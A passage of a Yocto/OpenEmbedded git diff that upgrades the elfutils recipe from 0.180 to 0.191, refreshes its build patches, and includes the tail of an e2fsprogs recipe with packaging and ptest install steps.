+FILES:e2fsprogs-dumpe2fs = "${base_sbindir}/dumpe2fs"
+FILES:e2fsprogs-resize2fs = "${base_sbindir}/resize2fs*"
+FILES:e2fsprogs-e2fsck = "${base_sbindir}/e2fsck ${base_sbindir}/fsck.ext*"
+FILES:e2fsprogs-e2scrub = "${base_sbindir}/e2scrub*"
+FILES:e2fsprogs-mke2fs = "${base_sbindir}/mke2fs.e2fsprogs ${base_sbindir}/mkfs.ext* ${sysconfdir}/mke2fs.conf"
+FILES:e2fsprogs-tune2fs = "${base_sbindir}/tune2fs.e2fsprogs ${base_sbindir}/e2label"
+FILES:e2fsprogs-badblocks = "${base_sbindir}/badblocks"
+FILES:libcomerr = "${base_libdir}/libcom_err.so.*"
+FILES:libss = "${base_libdir}/libss.so.*"
+FILES:libe2p = "${base_libdir}/libe2p.so.*"
+FILES:libext2fs = "${libdir}/e2initrd_helper ${base_libdir}/libext2fs.so.*"
+FILES:${PN}-dev += "${datadir}/*/*.awk ${datadir}/*/*.sed ${base_libdir}/*.so ${bindir}/compile_et ${bindir}/mk_cmds"
+
+ALTERNATIVE:${PN} = "chattr lsattr"
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE_LINK_NAME[chattr] = "${base_bindir}/chattr"
+ALTERNATIVE_TARGET[chattr] = "${base_bindir}/chattr.e2fsprogs"
+ALTERNATIVE_LINK_NAME[lsattr] = "${base_bindir}/lsattr"
+ALTERNATIVE_TARGET[lsattr] = "${base_bindir}/lsattr.e2fsprogs"
+
+ALTERNATIVE:${PN}-doc = "fsck.8"
+ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
+
+ALTERNATIVE:${PN}-mke2fs = "mke2fs mkfs.ext2"
+ALTERNATIVE_LINK_NAME[mke2fs] = "${base_sbindir}/mke2fs"
+ALTERNATIVE_LINK_NAME[mkfs.ext2] = "${base_sbindir}/mkfs.ext2"
+
+ALTERNATIVE:${PN}-tune2fs = "tune2fs"
+ALTERNATIVE_LINK_NAME[tune2fs] = "${base_sbindir}/tune2fs"
+
+RDEPENDS:e2fsprogs-e2scrub = "bash"
+RDEPENDS:${PN}-ptest += "coreutils procps bash bzip2 diffutils perl sed"
+RDEPENDS:${PN}-ptest += "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/tests
+}
+
+do_install_ptest() {
+ # This file's permissions depends on the host umask so be deterministic
+ chmod 0644 ${B}/tests/test_data.tmp
+ cp -R --no-dereference --preserve=mode,links -v ${B}/tests ${D}${PTEST_PATH}/test
+ cp -R --no-dereference --preserve=mode,links -v ${S}/tests/* ${D}${PTEST_PATH}/test
+ sed -e 's!../e2fsck/e2fsck!e2fsck!g' \
+ -e 's!../misc/tune2fs!tune2fs!g' -i ${D}${PTEST_PATH}/test/*/expect*
+ sed -e 's!../e2fsck/e2fsck!${base_sbindir}/e2fsck!g' -i ${D}${PTEST_PATH}/test/*/script
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/test/test_script ${D}${PTEST_PATH}/test/test_one
+
+ # Remove various files
+ find "${D}${PTEST_PATH}" -type f \
+ \( -name 'Makefile' -o -name 'Makefile.in' -o -name '*.o' -o -name '*.c' -o -name '*.h' \)\
+ -exec rm -f {} +
+
+ install -d ${D}${PTEST_PATH}/lib
+ install -m 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/
+
+ install -d ${D}${PTEST_PATH}/data
+ install -m 0644 ${B}/tests/test_data.tmp ${D}${PTEST_PATH}/data/
+}
diff --git a/meta/recipes-devtools/elfutils/elfutils_0.180.bb b/meta/recipes-devtools/elfutils/elfutils_0.180.bb
deleted file mode 100644
index 9f8bfc24f3..0000000000
--- a/meta/recipes-devtools/elfutils/elfutils_0.180.bb
+++ /dev/null
@@ -1,144 +0,0 @@
-SUMMARY = "Utilities and libraries for handling compiled object files"
-HOMEPAGE = "https://sourceware.org/elfutils"
-SECTION = "base"
-LICENSE = "GPLv2 & LGPLv3+ & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-DEPENDS = "zlib virtual/libintl"
-DEPENDS_append_libc-musl = " argp-standalone fts musl-obstack "
-# The Debian patches below are from:
-# http://ftp.de.debian.org/debian/pool/main/e/elfutils/elfutils_0.176-1.debian.tar.xz
-SRC_URI = "https://sourceware.org/elfutils/ftp/${PV}/${BP}.tar.bz2 \
- file://0001-dso-link-change.patch \
- file://0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch \
- file://0003-fixheadercheck.patch \
- file://0004-Disable-the-test-to-convert-euc-jp.patch \
- file://0006-Fix-build-on-aarch64-musl.patch \
- file://0001-libasm-may-link-with-libbz2-if-found.patch \
- file://0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch \
- file://0001-skip-the-test-when-gcc-not-deployed.patch \
- file://0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch \
- file://run-ptest \
- file://ptest.patch \
- file://0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch \
- "
-SRC_URI_append_libc-musl = " \
- file://0001-musl-obstack-fts.patch \
- file://0002-musl-libs.patch \
- file://0003-musl-utils.patch \
- file://0004-Fix-error-on-musl.patch \
- file://0015-config-eu.am-do-not-use-Werror.patch \
- "
-SRC_URI[sha256sum] = "b827b6e35c59d188ba97d7cf148fa8dc6f5c68eb6c5981888dfdbb758c0b569d"
-
-inherit autotools gettext ptest pkgconfig
-
-EXTRA_OECONF = "--program-prefix=eu- --disable-debuginfod"
-
-DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[bzip2] = "--with-bzlib,--without-bzlib,${DEPENDS_BZIP2}"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
-
-RDEPENDS_${PN}-ptest += "libasm libelf bash make coreutils ${PN}-binutils"
-
-EXTRA_OECONF_append_class-target = " --disable-tests-rpath"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-
-do_compile_ptest() {
- cd ${B}/tests
- oe_runmake buildtest-TESTS oecheck
-}
-
-do_install_ptest() {
- if [ ${PTEST_ENABLED} = "1" ]; then
- # copy the files which needed by the cases
- TEST_FILES="strip strip.o addr2line elfcmp objdump readelf size.o nm.o nm elflint elfcompress elfclassify stack unstrip"
- install -d -m 755 ${D}${PTEST_PATH}/src
- install -d -m 755 ${D}${PTEST_PATH}/libelf
- install -d -m 755 ${D}${PTEST_PATH}/libdw
- install -d -m 755 ${D}${PTEST_PATH}/libasm
- for test_file in ${TEST_FILES}; do
- if [ -f ${B}/src/${test_file} ]; then
- cp -r ${B}/src/${test_file} ${D}${PTEST_PATH}/src
- fi
- done
- cp ${D}${libdir}/libelf-${PV}.so ${D}${PTEST_PATH}/libelf/libelf.so
- cp ${D}${libdir}/libdw-${PV}.so ${D}${PTEST_PATH}/libdw/libdw.so
- cp ${D}${libdir}/libasm-${PV}.so ${D}${PTEST_PATH}/libasm/libasm.so
- cp -r ${S}/tests/ ${D}${PTEST_PATH}
- cp -r ${B}/tests/* ${D}${PTEST_PATH}/tests
- cp -r ${B}/config.h ${D}${PTEST_PATH}
- cp -r ${B}/backends ${D}${PTEST_PATH}
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
- fi
-}
-
-EXTRA_OEMAKE_class-native = ""
-EXTRA_OEMAKE_class-nativesdk = ""
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Package utilities separately
-PACKAGES =+ "${PN}-binutils libelf libasm libdw"
-
-# shared libraries are licensed GPLv2 or GPLv3+, binaries GPLv3+
-# according to NEWS file:
-# "The license is now GPLv2/LGPLv3+ for the libraries and GPLv3+ for stand-alone
-# programs. There is now also a formal CONTRIBUTING document describing how to
-# submit patches."
-LICENSE_${PN}-binutils = "GPLv3+"
-LICENSE_${PN} = "GPLv3+"
-LICENSE_libelf = "GPLv2 | LGPLv3+"
-LICENSE_libasm = "GPLv2 | LGPLv3+"
-LICENSE_libdw = "GPLv2 | LGPLv3+"
-
-FILES_${PN}-binutils = "\
- ${bindir}/eu-addr2line \
- ${bindir}/eu-ld \
- ${bindir}/eu-nm \
- ${bindir}/eu-readelf \
- ${bindir}/eu-size \
- ${bindir}/eu-strip"
-
-FILES_libelf = "${libdir}/libelf-${PV}.so ${libdir}/libelf.so.*"
-FILES_libasm = "${libdir}/libasm-${PV}.so ${libdir}/libasm.so.*"
-FILES_libdw = "${libdir}/libdw-${PV}.so ${libdir}/libdw.so.* ${libdir}/elfutils/lib*"
-# Some packages have the version preceeding the .so instead properly
-# versioned .so.<version>, so we need to reorder and repackage.
-#FILES_${PN} += "${libdir}/*-${PV}.so ${base_libdir}/*-${PV}.so"
-#FILES_SOLIBSDEV = "${libdir}/libasm.so ${libdir}/libdw.so ${libdir}/libelf.so"
-
-# The package contains symlinks that trip up insane
-INSANE_SKIP_${MLPREFIX}libdw = "dev-so"
-
-# avoid stripping some generated binaries otherwise some of the tests such as test-nlist,
-# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
-INHIBIT_PACKAGE_STRIP_FILES = "\
- ${PKGD}${PTEST_PATH}/tests/test-nlist \
- ${PKGD}${PTEST_PATH}/tests/elfstrmerge \
- ${PKGD}${PTEST_PATH}/tests/backtrace-child \
- ${PKGD}${PTEST_PATH}/tests/backtrace-data \
- ${PKGD}${PTEST_PATH}/tests/backtrace-dwarf \
- ${PKGD}${PTEST_PATH}/tests/deleted \
- ${PKGD}${PTEST_PATH}/src/strip \
- ${PKGD}${PTEST_PATH}/src/addr2line \
- ${PKGD}${PTEST_PATH}/src/elfcmp \
- ${PKGD}${PTEST_PATH}/src/objdump \
- ${PKGD}${PTEST_PATH}/src/readelf \
- ${PKGD}${PTEST_PATH}/src/nm \
- ${PKGD}${PTEST_PATH}/src/elflint \
- ${PKGD}${PTEST_PATH}/src/elfclassify \
- ${PKGD}${PTEST_PATH}/src/stack \
- ${PKGD}${PTEST_PATH}/src/unstrip \
- ${PKGD}${PTEST_PATH}/libelf/libelf.so \
- ${PKGD}${PTEST_PATH}/libdw/libdw.so \
- ${PKGD}${PTEST_PATH}/libasm/libasm.so \
- ${PKGD}${PTEST_PATH}/backends/libebl_i386.so \
- ${PKGD}${PTEST_PATH}/backends/libebl_x86_64.so \
-"
-
-PRIVATE_LIBS_${PN}-ptest = "libdw.so.1 libelf.so.1 libasm.so.1"
diff --git a/meta/recipes-devtools/elfutils/elfutils_0.191.bb b/meta/recipes-devtools/elfutils/elfutils_0.191.bb
new file mode 100644
index 0000000000..c4d872430b
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/elfutils_0.191.bb
@@ -0,0 +1,177 @@
+SUMMARY = "Utilities and libraries for handling compiled object files"
+HOMEPAGE = "https://sourceware.org/elfutils"
+DESCRIPTION = "elfutils is a collection of utilities and libraries to read, create and modify ELF binary files, find and handle DWARF debug data, symbols, thread state and stacktraces for processes and core files on GNU/Linux."
+SECTION = "base"
+LICENSE = "( GPL-2.0-or-later | LGPL-3.0-or-later ) & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://debuginfod/debuginfod-client.c;endline=28;md5=f0a7c3170776866ee94e8f9225a6ad79 \
+ "
+DEPENDS = "zlib virtual/libintl"
+DEPENDS:append:libc-musl = " argp-standalone fts musl-legacy-error musl-obstack"
+# The Debian patches below are from:
+# http://ftp.de.debian.org/debian/pool/main/e/elfutils/elfutils_0.176-1.debian.tar.xz
+SRC_URI = "https://sourceware.org/elfutils/ftp/${PV}/${BP}.tar.bz2 \
+ file://run-ptest \
+ file://0001-dso-link-change.patch \
+ file://0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch \
+ file://0003-fixheadercheck.patch \
+ file://0006-Fix-build-on-aarch64-musl.patch \
+ file://0001-libasm-may-link-with-libbz2-if-found.patch \
+ file://0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch \
+ file://0001-skip-the-test-when-gcc-not-deployed.patch \
+ file://ptest.patch \
+ file://0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch \
+ file://0001-debuginfod-Remove-unused-variable.patch \
+ file://0001-srcfiles-fix-unused-variable-BUFFER_SIZE.patch \
+ "
+SRC_URI:append:libc-musl = " \
+ file://0003-musl-utils.patch \
+ "
+SRC_URI[sha256sum] = "df76db71366d1d708365fc7a6c60ca48398f14367eb2b8954efc8897147ad871"
+
+inherit autotools gettext ptest pkgconfig
+
+EXTRA_OECONF = "--program-prefix=eu-"
+
+# Only used at runtime for make check but we want deterministic makefiles for ptest so hardcode
+CACHED_CONFIGUREVARS += "ac_cv_prog_HAVE_BUNZIP2=yes"
+
+BUILD_CFLAGS += "-Wno-error=stringop-overflow"
+
+DEPENDS_BZIP2 = "bzip2-replacement-native"
+DEPENDS_BZIP2:class-target = "bzip2"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'debuginfod', 'debuginfod libdebuginfod', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'minidebuginfo', 'xz', '', d)} \
+ "
+PACKAGECONFIG[bzip2] = "--with-bzlib,--without-bzlib,${DEPENDS_BZIP2}"
+PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+PACKAGECONFIG[libdebuginfod] = "--enable-libdebuginfod,--disable-libdebuginfod,curl"
+PACKAGECONFIG[debuginfod] = "--enable-debuginfod,--disable-debuginfod,libarchive sqlite3 libmicrohttpd"
+
+RDEPENDS:${PN}-ptest += "libasm libelf bash make coreutils ${PN}-binutils iproute2-ss bsdtar gcc-symlinks binutils-symlinks libgcc-dev"
+
+EXTRA_OECONF:append:class-target = " --disable-tests-rpath"
+
+# symver functions not currently supported on microblaze
+EXTRA_OECONF:append:class-target:microblaze = " --disable-symbol-versioning"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils glibc-dbg glibc-dev"
+INSANE_SKIP:${PN}-ptest = "debug-deps dev-deps"
+
+do_compile_ptest() {
+ cd ${B}/tests
+ oe_runmake buildtest-TESTS oecheck
+}
+PTEST_PARALLEL_MAKE = ""
+
+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ # copy the files which needed by the cases
+ TEST_FILES="strip strip.o addr2line elfcmp objdump readelf size.o nm.o nm elflint elfcompress elfclassify stack unstrip srcfiles"
+ install -d -m 755 ${D}${PTEST_PATH}/src
+ install -d -m 755 ${D}${PTEST_PATH}/lib
+ install -d -m 755 ${D}${PTEST_PATH}/libelf
+ install -d -m 755 ${D}${PTEST_PATH}/libdw
+ install -d -m 755 ${D}${PTEST_PATH}/libdwfl
+ install -d -m 755 ${D}${PTEST_PATH}/libdwelf
+ install -d -m 755 ${D}${PTEST_PATH}/libasm
+ install -d -m 755 ${D}${PTEST_PATH}/libcpu
+ install -d -m 755 ${D}${PTEST_PATH}/libebl
+ for test_file in ${TEST_FILES}; do
+ if [ -f ${B}/src/${test_file} ]; then
+ cp -r ${B}/src/${test_file} ${D}${PTEST_PATH}/src
+ fi
+ done
+ cp ${D}${libdir}/libelf-${PV}.so ${D}${PTEST_PATH}/libelf/libelf.so
+ cp ${D}${libdir}/libdw-${PV}.so ${D}${PTEST_PATH}/libdw/libdw.so
+ cp ${D}${libdir}/libasm-${PV}.so ${D}${PTEST_PATH}/libasm/libasm.so
+ cp ${B}/libcpu/libcpu.a ${D}${PTEST_PATH}/libcpu/
+ cp ${B}/libebl/libebl.a ${D}${PTEST_PATH}/libebl/
+ cp ${B}/lib/libeu.a ${D}${PTEST_PATH}/lib/
+ cp ${S}/libelf/*.h ${D}${PTEST_PATH}/libelf/
+ cp ${S}/libdw/*.h ${D}${PTEST_PATH}/libdw/
+ cp ${S}/libdwfl/*.h ${D}${PTEST_PATH}/libdwfl/
+ cp ${S}/libdwelf/*.h ${D}${PTEST_PATH}/libdwelf/
+ cp ${S}/libasm/*.h ${D}${PTEST_PATH}/libasm/
+ cp -r ${S}/tests/ ${D}${PTEST_PATH}
+ cp -r ${B}/tests/* ${D}${PTEST_PATH}/tests
+ cp -r ${B}/config.h ${D}${PTEST_PATH}
+ cp -r ${B}/backends ${D}${PTEST_PATH}
+ cp -r ${B}/debuginfod ${D}${PTEST_PATH}
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
+ fi
+}
+
+EXTRA_OEMAKE:class-native = ""
+EXTRA_OEMAKE:class-nativesdk = ""
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Package utilities and libraries are listed separately
+PACKAGES =+ "${PN}-binutils libelf libasm libdw libdebuginfod"
+
+# According to the upstream website https://sourceware.org/elfutils, the latest
+# license policy is as follows:
+# "License. The libraries and backends are dual GPLv2+/LGPLv3+. The utilities
+# are GPLv3+."
+LICENSE:${PN}-binutils = "GPL-3.0-or-later"
+LICENSE:${PN} = "GPL-3.0-or-later"
+LICENSE:libelf = "GPL-2.0-or-later | LGPL-3.0-or-later"
+LICENSE:libasm = "GPL-2.0-or-later | LGPL-3.0-or-later"
+LICENSE:libdw = "GPL-2.0-or-later | LGPL-3.0-or-later"
+LICENSE:libdebuginfod = "GPL-2.0-or-later | LGPL-3.0-or-later"
+
+FILES:${PN}-binutils = "\
+ ${bindir}/eu-addr2line \
+ ${bindir}/eu-ld \
+ ${bindir}/eu-nm \
+ ${bindir}/eu-readelf \
+ ${bindir}/eu-size \
+ ${bindir}/eu-strip"
+
+FILES:libelf = "${libdir}/libelf-${PV}.so ${libdir}/libelf.so.*"
+FILES:libasm = "${libdir}/libasm-${PV}.so ${libdir}/libasm.so.*"
+FILES:libdw = "${libdir}/libdw-${PV}.so ${libdir}/libdw.so.* ${libdir}/elfutils/lib*"
+FILES:libdebuginfod = "${libdir}/libdebuginfod-${PV}.so ${libdir}/libdebuginfod.so.*"
+# Some packages have the version preceeding the .so instead properly
+# versioned .so.<version>, so we need to reorder and repackage.
+#FILES:${PN} += "${libdir}/*-${PV}.so ${base_libdir}/*-${PV}.so"
+#FILES_SOLIBSDEV = "${libdir}/libasm.so ${libdir}/libdw.so ${libdir}/libelf.so"
+
+# The package contains symlinks that trip up insane
+INSANE_SKIP:${MLPREFIX}libdw = "dev-so"
+# The nlist binary in the tests uses explicitly minimal compiler flags
+INSANE_SKIP:${PN}-ptest += "ldflags"
+
+# avoid stripping some generated binaries otherwise some of the tests such as test-nlist,
+# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
+INHIBIT_PACKAGE_STRIP_FILES = "\
+ ${PKGD}${PTEST_PATH}/tests/test-nlist \
+ ${PKGD}${PTEST_PATH}/tests/elfstrmerge \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-child \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-data \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-dwarf \
+ ${PKGD}${PTEST_PATH}/tests/deleted \
+ ${PKGD}${PTEST_PATH}/tests/dwfllines \
+ ${PKGD}${PTEST_PATH}/src/strip \
+ ${PKGD}${PTEST_PATH}/src/addr2line \
+ ${PKGD}${PTEST_PATH}/src/elfcmp \
+ ${PKGD}${PTEST_PATH}/src/objdump \
+ ${PKGD}${PTEST_PATH}/src/readelf \
+ ${PKGD}${PTEST_PATH}/src/nm \
+ ${PKGD}${PTEST_PATH}/src/elflint \
+ ${PKGD}${PTEST_PATH}/src/elfclassify \
+ ${PKGD}${PTEST_PATH}/src/stack \
+ ${PKGD}${PTEST_PATH}/src/unstrip \
+ ${PKGD}${PTEST_PATH}/src/srcfiles \
+ ${PKGD}${PTEST_PATH}/libelf/libelf.so \
+ ${PKGD}${PTEST_PATH}/libdw/libdw.so \
+ ${PKGD}${PTEST_PATH}/libasm/libasm.so \
+ ${PKGD}${PTEST_PATH}/backends/libebl_i386.so \
+ ${PKGD}${PTEST_PATH}/backends/libebl_x86_64.so \
+"
+
+PRIVATE_LIBS:${PN}-ptest = "libdw.so.1 libelf.so.1 libasm.so.1 libdebuginfod.so.1"
diff --git a/meta/recipes-devtools/elfutils/files/0001-debuginfod-Remove-unused-variable.patch b/meta/recipes-devtools/elfutils/files/0001-debuginfod-Remove-unused-variable.patch
new file mode 100644
index 0000000000..81f49dbf21
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-debuginfod-Remove-unused-variable.patch
@@ -0,0 +1,34 @@
+From c3502140e51886bffc6ae5cd256308e40e0cbb78 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 9 Mar 2024 15:52:32 -0800
+Subject: [PATCH] debuginfod: Remove unused variable
+
+Recent commit acd9525e9 has removed all references to max_fds
+therefore remove it, moreover clang18 is happier
+
+| ../../elfutils-0.191/debuginfod/debuginfod.cxx:1448:8: error: private field 'max_fds' is not used [-Werror,-Wunused-private-field]
+| 1448 | long max_fds;
+| | ^
+| 1 error generated.
+
+Upstream-Status: Submitted [https://sourceware.org/pipermail/elfutils-devel/2024q1/006900.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ debuginfod/debuginfod.cxx | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/debuginfod/debuginfod.cxx b/debuginfod/debuginfod.cxx
+index 560880f2..72617848 100644
+--- a/debuginfod/debuginfod.cxx
++++ b/debuginfod/debuginfod.cxx
+@@ -1445,7 +1445,6 @@ private:
+
+ map<key,fdcache_entry> entries; // optimized for lookup
+ time_t last_cleaning;
+- long max_fds;
+ long max_mbs;
+
+ public:
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch b/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
index 62031073e3..4f7539bef2 100644
--- a/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
@@ -1,4 +1,4 @@
-From ec9a7742734aae5417c0ebbffce66ac353e6cae7 Mon Sep 17 00:00:00 2001
+From 63070df4b0dc7af37a720915b5e6494204463c9a Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:10:57 +0800
Subject: [PATCH] dso link change
@@ -16,31 +16,30 @@ more details.
Rebase to 0.170
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
---
src/Makefile.am | 2 +-
tests/Makefile.am | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index e462e7d..ea1215b 100644
+index 1d592d4..853eda4 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -45,7 +45,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) -ldl -lpthread
- libelf = ../libelf/libelf.a -lz
+@@ -50,7 +50,7 @@ libdebuginfod =
+ endif
else
libasm = ../libasm/libasm.so
-libdw = ../libdw/libdw.so
+libdw = ../libdw/libdw.so $(zip_LIBS) $(libelf) $(libebl) -ldl
libelf = ../libelf/libelf.so
- endif
- libebl = ../libebl/libebl.a ../backends/libebl_backends.a ../libcpu/libcpu.a
+ if LIBDEBUGINFOD
+ libdebuginfod = ../debuginfod/libdebuginfod.so
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index eab4ae6..f59a01f 100644
+index 9141074..ee49d07 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -516,7 +516,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl -lpthread
- libelf = ../libelf/libelf.a -lz
+@@ -694,7 +694,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl -lpthread
+ libelf = ../libelf/libelf.a -lz $(zstd_LIBS)
libasm = ../libasm/libasm.a
else
-libdw = ../libdw/libdw.so
diff --git a/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch b/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
index 73ead6d412..a9f5e030fc 100644
--- a/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
@@ -1,4 +1,4 @@
-From 8e5fff8b1d819e0870fb22b27950bb5f10c7a272 Mon Sep 17 00:00:00 2001
+From 46d9d889a07fc9f9f089f800e5c0e895889c44ae Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 4 Oct 2017 22:30:46 -0700
Subject: [PATCH] libasm may link with libbz2 if found
@@ -11,26 +11,29 @@ where indirect libraries may be not found by linker
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---
src/Makefile.am | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index ea1215b..13d9bda 100644
+index 853eda4..da7f3b4 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -40,11 +40,11 @@ EXTRA_DIST += make-debug-archive.in
+@@ -40,7 +40,7 @@ EXTRA_DIST += make-debug-archive.in
CLEANFILES += make-debug-archive
if BUILD_STATIC
-libasm = ../libasm/libasm.a
+libasm = ../libasm/libasm.a $(zip_LIBS)
libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) -ldl -lpthread
- libelf = ../libelf/libelf.a -lz
+ libelf = ../libelf/libelf.a -lz $(zstd_LIBS)
+ if LIBDEBUGINFOD
+@@ -49,7 +49,7 @@ else
+ libdebuginfod =
+ endif
else
-libasm = ../libasm/libasm.so
+libasm = ../libasm/libasm.so $(zip_LIBS)
libdw = ../libdw/libdw.so $(zip_LIBS) $(libelf) $(libebl) -ldl
libelf = ../libelf/libelf.so
- endif
+ if LIBDEBUGINFOD
diff --git a/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch b/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
index b26ed99f65..57e4b3890a 100644
--- a/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
@@ -1,4 +1,4 @@
-From e571cbd0c20085ec71969971f19280b5de95cfb7 Mon Sep 17 00:00:00 2001
+From 19d9e9d838e74e4a0a22f08ae03167380f8aa490 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 16 Aug 2018 09:58:26 +0800
Subject: [PATCH] libelf/elf_end.c: check data_list.data.d.d_buf before free it
@@ -14,16 +14,15 @@ The segmentation fault happens when prelink call elf_end().
Upstream-Status: Submitted [https://sourceware.org/ml/elfutils-devel/2018-q3/msg00085.html]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
---
libelf/elf_end.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/libelf/elf_end.c b/libelf/elf_end.c
-index 160f0b8..5280a70 100644
+index 80f4d13..b103959 100644
--- a/libelf/elf_end.c
+++ b/libelf/elf_end.c
-@@ -160,14 +160,16 @@ elf_end (Elf *elf)
+@@ -169,14 +169,16 @@ elf_end (Elf *elf)
architecture doesn't require overly stringent
alignment the raw data buffer is the same as the
one used for presenting to the caller. */
diff --git a/meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch b/meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch
deleted file mode 100644
index 2450b0d6b8..0000000000
--- a/meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch
+++ /dev/null
@@ -1,124 +0,0 @@
-From 1ec7b2208803e0fbdcbe6c07b849e7dc4d9fa8a2 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:17:25 +0800
-Subject: [PATCH] musl-obstack-fts
-
-Look for libfts and libobstack during configure, these
-libraries are external to libc when using musl, whereas
-on glibc these libraries are provided in libc itself.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- configure.ac | 54 +++++++++++++++++++++++++++++++++++++++++++++++
- libdw/Makefile.am | 2 +-
- src/Makefile.am | 6 +++---
- 3 files changed, 58 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index e9649c2..03643c8 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -538,6 +538,60 @@ else
- fi
- AC_SUBST([argp_LDADD])
-
-+dnl Check if we have fts available from our libc
-+AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#if !defined(__x86_64__)
-+ #undef _FILE_OFFSET_BITS
-+ #define _FILE_OFFSET_BITS 32
-+ #endif
-+ #include <fts.h>],
-+ [FTS* fts = 0; return fts_close(fts); return 0;]
-+ )],
-+ [libc_has_fts="true"],
-+ [libc_has_fts="false"]
-+)
-+
-+dnl If our libc doesn't provide fts, then test for libfts
